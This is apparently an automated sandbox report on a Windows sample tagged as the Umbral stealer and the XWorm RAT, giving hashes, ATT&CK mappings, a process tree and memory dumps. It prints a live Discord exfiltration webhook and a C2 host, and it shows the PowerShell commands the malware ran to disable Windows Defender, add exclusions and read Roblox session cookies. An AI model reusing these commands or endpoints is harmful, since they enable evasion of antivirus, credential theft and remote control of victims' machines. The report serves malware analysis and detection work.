umbral | f13ef71b6d5e9a6872adb20673aa42a6d7cc6ab305bd20bc8fed059a6597f29f

Analysis

max time kernel
119s
max time network
299s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01-03-2024 12:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5a513e62b9e97d52553248d22e37f25f.exe
Size

215KB
MD5

022cd619c82b6c15b502afbfeec6debf
SHA1

cbb40b18c6ee74346efab7ac2a1e69100b6c3e00
SHA256

f13ef71b6d5e9a6872adb20673aa42a6d7cc6ab305bd20bc8fed059a6597f29f
SHA512

01f997451d33002d8502209afd816b7b6e5a3bc964230da351d70c11e0f144390cdf276b850f13815f414f92370bf6cfd89231eb4b9b1a75b4a8b8bb7f307758
SSDEEP

6144:oDAi86jCtMC5q+gXctZ8eGJ8rhNb8Imc:o0T6DCPxeJMx8+

Score

10^/10

umbral xworm persistence rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1211176678466916392/99VOwP9dc7iQz2Is-QlZ872KZaiUa4r3sEvXqZ6NmS-fFuTojiUjOg2SjIUWBCIoPNFA

Extracted

Family

xworm

hai1723rat-60039.portmap.io:60039

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0027000000015549-26.dat	family_umbral
behavioral2/memory/2528-28-0x00000000010B0000-0x00000000010FE000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/2704-33-0x00000000000C0000-0x00000000000E6000-memory.dmp	family_xworm
behavioral2/files/0x0007000000015644-32.dat	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	controllloader.exe

Executes dropped EXE 3 IoCs

pid	Process
2568	explorer.exe
2528	controllloader.exe
2704	systemload.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Software\Microsoft\Windows\CurrentVersion\Run\explorer = "C:\\Windows\\.NET\\explorer.exe"	5a513e62b9e97d52553248d22e37f25f.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	discord.com
12	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com
7	ip-api.com

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\.NET\explorer.exe	5a513e62b9e97d52553248d22e37f25f.exe
File opened for modification	C:\Windows\.NET\explorer.exe	5a513e62b9e97d52553248d22e37f25f.exe
File created	C:\Windows\.NET\controllloader.exe	explorer.exe
File created	C:\Windows\.NET\start.cmd	explorer.exe
File created	C:\Windows\.NET\systemload.exe	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1868	wmic.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2220	5a513e62b9e97d52553248d22e37f25f.exe
2220	5a513e62b9e97d52553248d22e37f25f.exe
2220	5a513e62b9e97d52553248d22e37f25f.exe
2512	powershell.exe
696	powershell.exe
944	powershell.exe
1468	powershell.exe
2088	powershell.exe
636	powershell.exe
2704	systemload.exe
1332	powershell.exe
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	5a513e62b9e97d52553248d22e37f25f.exe
Token: SeDebugPrivilege	2568	explorer.exe
Token: SeDebugPrivilege	2528	controllloader.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	696	powershell.exe
Token: SeDebugPrivilege	2704	systemload.exe
Token: SeDebugPrivilege	944	powershell.exe
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	2704	systemload.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeIncreaseQuotaPrivilege	2156	wmic.exe
Token: SeSecurityPrivilege	2156	wmic.exe
Token: SeTakeOwnershipPrivilege	2156	wmic.exe
Token: SeLoadDriverPrivilege	2156	wmic.exe
Token: SeSystemProfilePrivilege	2156	wmic.exe
Token: SeSystemtimePrivilege	2156	wmic.exe
Token: SeProfSingleProcessPrivilege	2156	wmic.exe
Token: SeIncBasePriorityPrivilege	2156	wmic.exe
Token: SeCreatePagefilePrivilege	2156	wmic.exe
Token: SeBackupPrivilege	2156	wmic.exe
Token: SeRestorePrivilege	2156	wmic.exe
Token: SeShutdownPrivilege	2156	wmic.exe
Token: SeDebugPrivilege	2156	wmic.exe
Token: SeSystemEnvironmentPrivilege	2156	wmic.exe
Token: SeRemoteShutdownPrivilege	2156	wmic.exe
Token: SeUndockPrivilege	2156	wmic.exe
Token: SeManageVolumePrivilege	2156	wmic.exe
Token: 33	2156	wmic.exe
Token: 34	2156	wmic.exe
Token: 35	2156	wmic.exe
Token: SeIncreaseQuotaPrivilege	2156	wmic.exe
Token: SeSecurityPrivilege	2156	wmic.exe
Token: SeTakeOwnershipPrivilege	2156	wmic.exe
Token: SeLoadDriverPrivilege	2156	wmic.exe
Token: SeSystemProfilePrivilege	2156	wmic.exe
Token: SeSystemtimePrivilege	2156	wmic.exe
Token: SeProfSingleProcessPrivilege	2156	wmic.exe
Token: SeIncBasePriorityPrivilege	2156	wmic.exe
Token: SeCreatePagefilePrivilege	2156	wmic.exe
Token: SeBackupPrivilege	2156	wmic.exe
Token: SeRestorePrivilege	2156	wmic.exe
Token: SeShutdownPrivilege	2156	wmic.exe
Token: SeDebugPrivilege	2156	wmic.exe
Token: SeSystemEnvironmentPrivilege	2156	wmic.exe
Token: SeRemoteShutdownPrivilege	2156	wmic.exe
Token: SeUndockPrivilege	2156	wmic.exe
Token: SeManageVolumePrivilege	2156	wmic.exe
Token: 33	2156	wmic.exe
Token: 34	2156	wmic.exe
Token: 35	2156	wmic.exe
Token: SeIncreaseQuotaPrivilege	1860	wmic.exe
Token: SeSecurityPrivilege	1860	wmic.exe
Token: SeTakeOwnershipPrivilege	1860	wmic.exe
Token: SeLoadDriverPrivilege	1860	wmic.exe
Token: SeSystemProfilePrivilege	1860	wmic.exe
Token: SeSystemtimePrivilege	1860	wmic.exe
Token: SeProfSingleProcessPrivilege	1860	wmic.exe
Token: SeIncBasePriorityPrivilege	1860	wmic.exe
Token: SeCreatePagefilePrivilege	1860	wmic.exe
Token: SeBackupPrivilege	1860	wmic.exe
Token: SeRestorePrivilege	1860	wmic.exe
Token: SeShutdownPrivilege	1860	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2704	systemload.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2568	2220	5a513e62b9e97d52553248d22e37f25f.exe	29
PID 2220 wrote to memory of 2568	2220	5a513e62b9e97d52553248d22e37f25f.exe	29
PID 2220 wrote to memory of 2568	2220	5a513e62b9e97d52553248d22e37f25f.exe	29
PID 2568 wrote to memory of 2528	2568	explorer.exe	30
PID 2568 wrote to memory of 2528	2568	explorer.exe	30
PID 2568 wrote to memory of 2528	2568	explorer.exe	30
PID 2568 wrote to memory of 2484	2568	explorer.exe	31
PID 2568 wrote to memory of 2484	2568	explorer.exe	31
PID 2568 wrote to memory of 2484	2568	explorer.exe	31
PID 2568 wrote to memory of 2704	2568	explorer.exe	33
PID 2568 wrote to memory of 2704	2568	explorer.exe	33
PID 2568 wrote to memory of 2704	2568	explorer.exe	33
PID 2484 wrote to memory of 696	2484	cmd.exe	34
PID 2484 wrote to memory of 696	2484	cmd.exe	34
PID 2484 wrote to memory of 696	2484	cmd.exe	34
PID 2528 wrote to memory of 2512	2528	controllloader.exe	35
PID 2528 wrote to memory of 2512	2528	controllloader.exe	35
PID 2528 wrote to memory of 2512	2528	controllloader.exe	35
PID 2704 wrote to memory of 944	2704	systemload.exe	37
PID 2704 wrote to memory of 944	2704	systemload.exe	37
PID 2704 wrote to memory of 944	2704	systemload.exe	37
PID 2528 wrote to memory of 1468	2528	controllloader.exe	39
PID 2528 wrote to memory of 1468	2528	controllloader.exe	39
PID 2528 wrote to memory of 1468	2528	controllloader.exe	39
PID 2704 wrote to memory of 2088	2704	systemload.exe	41
PID 2704 wrote to memory of 2088	2704	systemload.exe	41
PID 2704 wrote to memory of 2088	2704	systemload.exe	41
PID 2528 wrote to memory of 636	2528	controllloader.exe	43
PID 2528 wrote to memory of 636	2528	controllloader.exe	43
PID 2528 wrote to memory of 636	2528	controllloader.exe	43
PID 2528 wrote to memory of 1332	2528	controllloader.exe	45
PID 2528 wrote to memory of 1332	2528	controllloader.exe	45
PID 2528 wrote to memory of 1332	2528	controllloader.exe	45
PID 2528 wrote to memory of 2156	2528	controllloader.exe	47
PID 2528 wrote to memory of 2156	2528	controllloader.exe	47
PID 2528 wrote to memory of 2156	2528	controllloader.exe	47
PID 2528 wrote to memory of 1860	2528	controllloader.exe	49
PID 2528 wrote to memory of 1860	2528	controllloader.exe	49
PID 2528 wrote to memory of 1860	2528	controllloader.exe	49
PID 2528 wrote to memory of 2148	2528	controllloader.exe	51
PID 2528 wrote to memory of 2148	2528	controllloader.exe	51
PID 2528 wrote to memory of 2148	2528	controllloader.exe	51
PID 2528 wrote to memory of 2732	2528	controllloader.exe	53
PID 2528 wrote to memory of 2732	2528	controllloader.exe	53
PID 2528 wrote to memory of 2732	2528	controllloader.exe	53
PID 2528 wrote to memory of 1868	2528	controllloader.exe	55
PID 2528 wrote to memory of 1868	2528	controllloader.exe	55
PID 2528 wrote to memory of 1868	2528	controllloader.exe	55

C:\Users\Admin\AppData\Local\Temp\5a513e62b9e97d52553248d22e37f25f.exe
"C:\Users\Admin\AppData\Local\Temp\5a513e62b9e97d52553248d22e37f25f.exe"
1⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\.NET\explorer.exe
  "C:\Windows\.NET\explorer.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\.NET\controllloader.exe
    "C:\Windows\.NET\controllloader.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Windows\.NET\controllloader.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1332
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2156
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1860
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:2148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2732
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1868
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Windows\.NET\start.cmd" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\.NET\'"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:696
- - C:\Windows\.NET\systemload.exe
    "C:\Windows\.NET\systemload.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\.NET\systemload.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'systemload.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b25f53694183f22d3b9b8cbf7ca5b29b

SHA1
2a780e11b936eb11178b81bf47244e91c3f8765b

SHA256
952254bddac01cd40b1bf1f276840e663fe0b3838b031159ce1a3e3dd5f8469c

SHA512
325ac3c96a091c9e5fbd51447666e3618b1be6d5d639b5c79b9c7d3ea00354e1dce9294801e1c0fe3927f0329be3885f53d798b9ba8c8f5cf8b5d1346a10f4b4

Download Submit
C:\Windows\.NET\controllloader.exe

Filesize
286KB

MD5
e41a0fa0c1e39af92d22090d4df61a1f

SHA1
c971a4089b1ab116c34b5ab0dc54d9977f86e834

SHA256
c0966533c2bc8c8b9ee176d774eae0ca1c4d6fe6e8efe5d87d4cac8c04b84372

SHA512
d42798fa9115f3c3775798a26ef7c28e4f173bdc2b74884b01a4e7905b17a2da09508766a626652eec3622a15a891b6859f4e9a422eb052a59b3fd3eafe1a7fd

Download Submit
C:\Windows\.NET\explorer.exe

Filesize
245KB

MD5
6e582594dff7429cd41f7cd46fba7970

SHA1
d91416e8a80c3ba9db036218921a976bab5e651b

SHA256
0bb6471d08e761a6ba31f6b9bc54f1b039dc15dd17faa1e7c996baebd08eb33c

SHA512
64ed27a592c4f0aca400e4a61c571326882a24c044afe0303c2a090e5f5d38a7fa97ff9fbdf85b0a0a657e96991818692688c1179a38c2903c562fc2a179115b

Download Submit
C:\Windows\.NET\start.cmd

Filesize
93B

MD5
f960abd9684a879e8eca03b8c864ea96

SHA1
fb4b9a9b40af84ae46b70bb40ac3e1f45e4b4ad3

SHA256
7389178da21f4e2d4ef73ab199b7beeb97247a6c1afec3f3c48a7f561cbfaf90

SHA512
2c6267ab25c364c5b13059ed593bb47dfae586ae7b1411634efa3f45aaf07b4d8f491fe93bfd34482a1250c955f1e8c27e1afa0460672a5e9584ebe007ab2054

Download Submit
C:\Windows\.NET\systemload.exe

Filesize
130KB

MD5
352a162df9ca5605e1a1910c7a24cb7c

SHA1
4b4ed1c740a03c15eb47d875b65c76941debcaf7

SHA256
87e9d9a7a197a0cd483f8e73f307af53a7518cabc001257c8235743181b9a7b8

SHA512
0c2bae3f66748cc3448eaf60c5079ae3afba6d585e19e54857f7c152a1bd69c3b8e3df7feb413f3eb2df0f2bc01b44be5bcdefd5427af154a221f2b808a2399d

Download Submit
memory/636-108-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/636-113-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/636-115-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/636-114-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/636-112-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/636-111-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/636-109-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/696-55-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/696-49-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/696-61-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/696-62-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/696-60-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/696-59-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/696-50-0x0000000002450000-0x00000000024D0000-memory.dmp

Filesize
512KB

Download
memory/944-85-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/944-76-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/944-70-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/944-84-0x000000000243B000-0x00000000024A2000-memory.dmp

Filesize
412KB

Download
memory/944-77-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/944-75-0x0000000002430000-0x00000000024B0000-memory.dmp

Filesize
512KB

Download
memory/1332-128-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/1332-129-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/1332-130-0x000007FEEB6F0000-0x000007FEEC08D000-memory.dmp

Filesize
9.6MB

Download
memory/1468-78-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/1468-79-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/1468-80-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/1468-81-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/1468-86-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/1468-87-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/1468-82-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2088-96-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/2088-93-0x0000000001FB0000-0x0000000001FB8000-memory.dmp

Filesize
32KB

Download
memory/2088-103-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/2088-102-0x0000000001FC0000-0x0000000002040000-memory.dmp

Filesize
512KB

Download
memory/2088-98-0x0000000001FC0000-0x0000000002040000-memory.dmp

Filesize
512KB

Download
memory/2088-97-0x0000000001FC0000-0x0000000002040000-memory.dmp

Filesize
512KB

Download
memory/2088-95-0x0000000001FC0000-0x0000000002040000-memory.dmp

Filesize
512KB

Download
memory/2088-94-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-1-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2220-2-0x000000001BB80000-0x000000001BC00000-memory.dmp

Filesize
512KB

Download
memory/2220-11-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2220-0-0x0000000000C40000-0x0000000000C7C000-memory.dmp

Filesize
240KB

Download
memory/2512-48-0x0000000002550000-0x0000000002558000-memory.dmp

Filesize
32KB

Download
memory/2512-52-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2512-54-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2512-47-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/2512-56-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-57-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2512-51-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-53-0x000007FEEC090000-0x000007FEECA2D000-memory.dmp

Filesize
9.6MB

Download
memory/2512-58-0x00000000024BB000-0x0000000002522000-memory.dmp

Filesize
412KB

Download
memory/2528-28-0x00000000010B0000-0x00000000010FE000-memory.dmp

Filesize
312KB

Download
memory/2528-83-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2528-36-0x000000001B130000-0x000000001B1B0000-memory.dmp

Filesize
512KB

Download
memory/2528-110-0x000000001B130000-0x000000001B1B0000-memory.dmp

Filesize
512KB

Download
memory/2528-30-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2568-10-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2568-12-0x000000001BA40000-0x000000001BAC0000-memory.dmp

Filesize
512KB

Download
memory/2568-9-0x0000000000300000-0x0000000000342000-memory.dmp

Filesize
264KB

Download
memory/2568-35-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2704-33-0x00000000000C0000-0x00000000000E6000-memory.dmp

Filesize
152KB

Download
memory/2704-116-0x000000001B100000-0x000000001B180000-memory.dmp

Filesize
512KB

Download
memory/2704-34-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2704-100-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download